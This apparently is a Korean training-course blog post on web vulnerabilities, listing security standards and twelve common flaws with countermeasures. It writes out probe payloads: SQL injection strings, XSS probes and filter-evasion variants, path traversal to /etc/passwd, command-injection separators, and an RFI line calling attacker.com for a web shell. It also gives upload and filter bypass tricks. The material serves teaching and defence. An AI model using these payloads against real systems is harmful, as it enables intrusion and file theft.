[새싹 성동 2기] 6. 보안관제(3) - 웹 취약점
목차
1. 각종 보안 관련 지표
2. 대표적인 웹 취약점 12가지
[1] 각종 보안 관련 지표
(1)OWASP top 10
- 웹 애플리케이션 보안 분야에서 자주 발생하는 취약점들을 정리한 표준 목록
- OWASP(Open Web Application Security Project)에서 4년마다 주기적으로 업데이트함
- 개발자와 보안 전문가가 보안 위협을 이해하고 방어 전략을 세우는 데 중요한 참고 자료로 활용됨
- https://owasp.org/www-project-top-ten/
(2)NIST Cybersecurity Framework
- NIST(미국 국립표준기술연구소)에서 발표한 웹 애플리케이션 보안과 관련된 다양한 지침과 프레임워크
- 2024년에 프레임워크 2.0 버전을 발표하여 조직의 사이버보안 거버넌스와 공급망 보안을 강화하는데 중점
- https://www.nist.gov/cyberframework
(3)주요정보통신기반시설 기술적 취약점 분석 평가 상세 가이드
(4)전자금융기반시설 취약점 점검 가이드
- 금융보안원, 2024년
- https://www.fsec.or.kr/bbs/103
(5)행정안전부 SW취약점 개발 가이드
(6)국정원 정보보안관리실태평가
- 국가정보원, 2024년
- https://www.nis.go.kr/CM/1_4/view.do?seq=306
[2] 대표적인 웹 취약점 12가지
(1) SQL Injection
- 악의적인 SQL 쿼리를 입력해 데이터베이스를 조작하거나 민감한 정보를 탈취하는 공격.
- 대응 방안 : 입력 값 검증 및 Prepared Statement 사용
DB를 사용하는 경우: 회원가입, 로그인, 게시판 조회(검색)
select id,pw from users where id='admin' and pw= 'password';
>> SQL i는 보통 로그인폼, 검색 폼에서 많이 발생됨
and의 조건 때문에 참이어야만 데이터가 반환 되므로, 강제로 or조건으로 변경
' or 1=1-- 를 아이디 필드에 입력하여 or 조건으로 변경(--는 그 뒤에 내용을 주석처리 한다는 의미)
select id,pw from users where id='admin' or 1==1--
or조건은 둘 중 하나만 참이면 참을 반환하니까 admin이라는 id가 없더라도 무조건 로그인이 가능
SQL I의 취약성 테스트는 ' 를 먼저 입력하여 특수 Char로 인식되는지 부터 판단 필요
('하나만 입력해볼때 취약성이 있으면 MariaDB server version for the right syntax to use near ''''' at 형태의 에러가 뜨고,
취약성이 없으면 일반적인 로그인 오류 invalid 가 발생)
>> 다만 싱글쿼터 (') 대신에 ` 가 인식되는 경우도 있음
(2) XSS(Stored, Reflected)
- 웹 페이지에 악성 스크립트를 삽입해 사용자 세션을 탈취하거나 악성 행동을 유도하는 공격
- 대응 방안 : 출력 값을 이스케이프 처리 및 CSP(Content Security Policy) 설정.
취약성 테스트 : <script>alert("test")</script>
이걸 쿼리로 날렸을 때 test라는 이름의 박스가 뜨면 취약성이 있는 것
취약점 : 게시판 글 쓰기, 회원가입, 프로파일, 검색 폼
브라우저의 개발자 도구를 통해 스크립트가 인식 되는지 확인이 필요함
>> 어떤 문자열이 필터 되는지
Stored : 저장형태의 스크립트(게시판 글 쓰기 등)
Reflected : 반사 형태의 스크립트(검색, 1회성)
<img src=x onerror=alert(xss1111)> <- script 대신에 이미지 태그 넣어봄
<sCrIpt>alert("test")</sCrIpt> <- c 랑 i 를 대문자로 바꿔봄
mXSS(https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/)
(3) File UPload/DOWNload
- 악의적인 파일을 업로드하거나 권한 없는 파일을 다운로드하도록 유도하는 공격
- 대응 방안: 파일 업로드 시 확장자와 내용 검증, 다운로드 경로 제한.
- UPload : 게시판 업로드를 통해 악성파일이 업로드 되는 경우
*게시판 업로드 외에도 프로파일사진 업로드, PUT Method 이용
악성파일 : jsp, php, asp, py, sh, exe, ps 등
>> 악성파일 확장자들이 웹셸로 동작이 가능
파일업로드 취약점 또는 웹셸업로드 취약점 이라고도 불림
> 해당 웹 서버의 권한을 제어할 수 있는 취약성
국정원은 단순 악성 파일 확장자가 업로드만 되도 취약하다고 판단
행안부는 업로드 + 실행까지 되는 경우 취약하다고 판단
금보원은 국정원을 따름(국정원관리실태조사를 받는 기관이기 때문)
즉, 민간기업의 경우 행안부의 기준을 적용하고 공공기관의 경우 국정원의 기준을 적용
업로드된 파일이 실행되기 위한 조건 : 업로드 폴더 실행권한, 업로드된 파일 경로 노출
업로드 공격을 대응하는 방법
>> 업로드 폴더 실행권한 제거, 업로드된 파일 경로 노출 제거 >> 서버설정(시큐어 코딩)
>> 악성파일 확장자 업로드 필터 >> 서버설정(시큐어 코딩)
>> 업로드되는 데이터 영역(payload, body)에 대한 문자열 필터(파일헤더, 본문도 점검 필요) >> 보안장비 대응 가능
업로드에 따른 상태 차이
유닉스 : 확장자 기반이 아니라 권한기반으로 동작
>> 해당 폴더에 생성되는 파일이 실행권한이 부여될 때
윈도우 : 확장자 기반으로 실행
>> 파일업로드 취약점은 윈도우 서버가 더 안전함
확장자 기반으로 필터가 되어 있을 때 확장자를 변경해서 업로드해도 실행이 안 됨. 해당 확장자로 인식
공격자는 확장자를 변경하던지, Content-Type을 변경하던지, 파일의 헤더를 추가하여 업로드 우회 시도
php 1 ~ php 7 까지는 버전 문제 때문에 php뒤에 숫자가 붙는 것이 가능함
- Download : download 함수를 통해 경로 조작을 통해 임의의 경로 파일 다운로드 확인
::공지사항에 첨부된 첨부파일의 경로를 통해 공격을 시도
http://test.com/notice/file?down=abcd.pdf
>> 보통 첨부파일에 마우스 우클릭을 눌렀을 때, 취약성이 있는 경우 위와 같이 주소가 노출됨
http://test.com/notice/file?down=../../../../../../../../etc/password 와 같이 입력하여, 상대경로 파일 다운로드 해버릴 수 있음
(4) 정보노출
- 웹 서버, 프레임워크의 버전 정보가 노출되어 공격에 악용될 수 있음
- 대응 방안 : 에러 페이지와 HTTP 응답 헤더에서 버전 정보 제거
: 버전 정보가 노출되는 취약성
> WEB/WAS에 대한 버전 정보
curl -v -X OPTIONS http://test.com/<- OPTIONS Method를 통해 헤더 정보 출력
curl -v -X GET1 http://test.com/ <- 존재하지 않는 Method를 사용함으로써 에러 유발
를 통해 'Server : 버전'이 나오면 취약성 확인 가능
>> curl말고 Burpsuite라는 도구를 가지고도 확인이 가능함
Burpsuite는 Proxy 도구
>> 서버단에서 설정
>> 보안장비 대응 : 없는 메서드 필터 GET이라고 하는 문자열 뒤에 필터(정규표현식 사용)
클라이언트---------------------------------------------------------------웹서버 <- 일반적인 통신 구조
클라이언트---------------------------------프록시서버---------------웹서버 <- burpsuite 쓰면 중간에 프록시 서버가 설정됨
프록시 서버 역할 : 클라이언트가 서버로 보내는 데이터를 프록시서버에서 검증하고 서버로 보내는 역할
검증: 서버로 전송되는 데이터를 모두 확인 및 편집 가능
클라 -> 서버, 서버 -> 클라 모두 조작이 가능(양방향)
(5) 관리자페이지 노출
- 관리자 페이지가 노출되어 무차별 대입 공격이나 인증 우회를 시도할 위험
- 대응 방안 : URL 접근 제한 및 IP 필터링 적용
:admin페이지가 노출 되는 취약성
http://test.com/admin 과 같은 구조(Path구조)
http://admin.test.com/ 또는 이런 구조(서브도메인)
adm, admi, admind, 등 관리자 페이지 단어를 유추해서 입력
>> 서버단에서 접근제어 설정이 우선 시
>> 보안장비 대응 : uri(.com/뒤에 나오는 주소)나 url(http://뒤에 나오는 주소)기반에 관리자 페이지 접근 정규표현식 사용
URL 구조 이해
http://abc.test.com/test/page?vuln=exe
http : http 프로토콜 사용
abc : test.com의 서브 도메인 (자식)
test.com : 위치 정보를 가지는 도메인 정보
test : path(경로),Directory라고 함
page : web page를 나타냄
vuln : parameter, webpage에 속한 함수 명
exe : 파라미터 인자 값
웹과 관련된 취약점(입력기준)은 파라미터 인자값에서만 발생함
1) http://test.com/ <script>alert("test")</script> <- 여기서는 <sc~ 이 입력 값이 Path로 인식됨
2) http://test.com/search?a=<script>alert("test")</script> <- 취약점은 여기서 발생!! 구조 잘 기억하세요
(6) 인증우회
- 세션 관리나 인증 절차의 취약점을 이용해 비인가 사용자가 접근하는 공격
- 대응 방안 : 인증 토큰 검증 강화 및 세션 만료 시간 설정
: 인증과정에 있어, 정상 사용자 번호가 아닌 타인의 번호로 인증을 받아서 접속을 시도하는 취약성
ex)휴대폰으로 인증번호 받고 접속 시 휴대폰 번호를 중간에 변경하여 등록되지 않은 번호로 받아 접속을 시도
: 인증서 전체 내용을 그대로 복사하여 바꿔치기하여, 타인의 정보로 로그인이 가능한 경우
>> Burpsuite를 통해 가능함
>> 서버단에서 인증 프로세스 체크가 유일함(보안 장비로는 막을 방법이 없음)
(7) Parameter 조작
- URL, POST 데이터 등의 파라미터 값을 조작해 비정상적인 동작을 유발하는 공격
- 대응 방안: 입력 값 유효성 검사 및 서버 단에서 검증 수행.
정상 파라미터 인자 값을 조작하여 타인의 글 접근, 수정, 삭제, 권한이 없는 게시판 접근, 결제 조작 등의 취약성
http://test.com/board?id=1 정상데이터
http://test.com/board?id=3 권한 없는 게시판 접근
>> 서버단에서 프로세스 체크가 설정이 필요
::일반 게시판에서 글 쓰는 과정에서 프록시를 통해 공지사항 게시판 ID로 변경 시
파라미터 조작은 자동화 공격이 많음
:: 비정상행위로 탐지 가능(WAF로는 불가, IDS/IPS로 탐지 가능)
(8) 디버깅 정보 노출
- 디버깅 코드나 에러 메시지가 사용자에게 노출되어 민감한 정보가 유출될 위험
- 대응 방안: 디버그 모드 비활성화 및 사용자 친화적인 에러 페이지 제공
: 웹 브라우저 개발자 도구를 통해 하드코딩 된 중요 정보가 노출되는 취약성
중요정보:DB접속, 서버접속, 관리자ID, PW 등
F12 를 누르면 개발자 도구가 활성화됨
(4개는 꼭 알아야함. inspector:추적,검사 debugger:정보 network:코드 storage:쿠키값확인,세션 + console:함수호출)
1.네트워크(페이지에서 어떤 코드 긁어가는지 확인)
2.디버거
3.스토리지(쿠키 값 확인)
>> 서버단에서 디버깅 정보 최소화가 유일한 방법(개발자들 역량에 따라 천차만별)
(9) 세션 재사용
- 탈취된 세션 ID를 사용해 다른 사용자의 권한을 가로채는 공격
- 대응 방안: 세션 고정 공격 방지, HTTPS 사용, 로그아웃 시 세션 만료
: 개발자 도구의 Storage 를 수정해서 세션 정보의 재사용 취약성
:: 세션 재사용은 정상적인 logout을 하였을 때와, 강제로 브라우저를 종료했을 때 모두 점검이 필요
>> 둘 중 하나라도 취약성이 식별되면 취약한 것
>> 서버단에서 일정시간 이후 세션 정보 초기화 설정이 필수(이 설정이 안 되어 있다면 취약한 것)
(10) 불필요한 Method 사용
- DELETE, PUT 등의 불필요한 HTTP 메서드가 활성화되어 공격 표면을 넓힘
- 대응 방안: 필요한 메서드만 허용하고 OPTIONS 메서드 제한
: PUT, DELETE와 같은 취약한 Method 사용 여부를 판단
>> curl -v -X OPTIONS http://test.com/ 으로 allow Method 항목을 통해 확인 가능 or burpsuite로도 확인 가능
Method
GET : 페이지 요청
POST : 서버에 데이터 반영 (Login, Write 작업)
PUT : 서버의 데이터 갱신 또는 업로드
DELETE : 서버의 데이터 삭제
OPTIONS : 서버의 헤더 정보 요청
PATCH : 서버 정보 갱신
>> PUT, DELETE 를 통해 페이지 접근 시 탐지 하는 룰 필요
:: 리액트 같은 최신 환경은 의도적으로 PUT,DELETE를 사용하는 경우가 있음(보안상 굉장히 좋지 않음) -> 이런 경우는 룰을 만들면 오탐만 더 늘어남
>> 공공, 공기업 기준 PUT, DELETE 쓰면 소명자료 제출해야함. 소명자료 없으면 전체 재개발이 필요하고, 소명자료가 있다 할지라도 객관적인 자료가 아니면 허용 X
(11) BruteForce
- ID/PW를 무작위로 대입하여 인증을 우회하려는 공격
- 대응 방안: 비밀번호 입력 횟수 제한 및 CAPTCHA 적용.
: 자동화 공격, 무차별 대입공격(사전기반)
로그인(취약한 ID or 패스워드 사용 시)
파라미터 변조(API 포함)를 데이터를 확인할 때
Intruder 기능을 사용하거나 코딩을 하면 됨
>> 비정상행위 탐지 룰 추가
(12) Command Injection
- 사용자 입력을 시스템 명령어로 실행해 서버를 제어하려는 공격.
- 대응 방안: 입력 값 필터링, 명령 실행 대신 안전한 라이브러리 사용.
: 명령어 주입 공격, system 함수에 의해 추가로 명령어가 실행되는 구조
>> ; , | , || , && 총 4가지의 방법으로 가능함. 넷 다 의미가 다름 + 중간에 공백을 넣냐 안 넣냐도 차이 있음
ex) ls ; pwd 를 하면, ls가 실행되고(실행여부상관없이), pwd가 실행됨 <- 시간 나면 파이프라인 창에 하나씩 입력해보세요 네 개가 어떻게 다른지
:: parameter 인자값으로 전달
:: 해당 기능에서 system함수(cmd, sh)를 사용하고 있을 경우만 가능
>> 공유기, 프린터, IoT, Embeded
>> uri에 :, |, ||, && 가 들어가는 경우 (단, 정규표현식 사용 필요)
; ls 와 같이 공백이 들어갈 수 있기 때문
LFI / RFI
: 파일참조 공격, 페이지 내 다른 파일을 참조하는데서 취약점이 발생함
함수 : include
취약점 구조 : 소스코드 내 'admin?page=../../../test.html' 과 같은 구조를 가지고 있음
LFI(Local File Import) : 로컬 파일 참조 >> admin페이지가 실행되는 서버의 파일을 참조하는 공격(웹서버)
>> ../../../../../etc/passwd 와 같이 입력하여 로컬에 있는 파일 참조(etc/passwd는 대표적인 유닉스 파일)
../ : 상위 디렉토리 지정 문자열이 핵심, 인코딩 작업을 수행함, HTML, URL, 2중URL 등..
RFI(Remote File Import) : 원격 파일 참조 >> 원격에 있는 페이지를 웹서버로 임포트하여 실행 되는 공격
>> http://attacker.com/webshell -> 웹셸이 업로드된 효과
http:// : 프로토콜 지정이 핵심, hthttpttp:// 이런 방법으로 이중으로 문자열을 입력함으로써 회피
※ LFI 와 파일다운로드 공격은 상당히 유사하지만 다름
LFI는 파라미터를 통해 파일을 참조하는 방식, 함수 구조로 기반
: http://test.com/abcd?page=../../../../../etc/passwd
파일다운로드는 페이지가 다운로드할 파일을 지정하여 호출 하는 방식, 페이지로 동작
: http://test.com/download?id=test.doc -> test.doc대신에 상대경로(../../../../)로 파일명 입력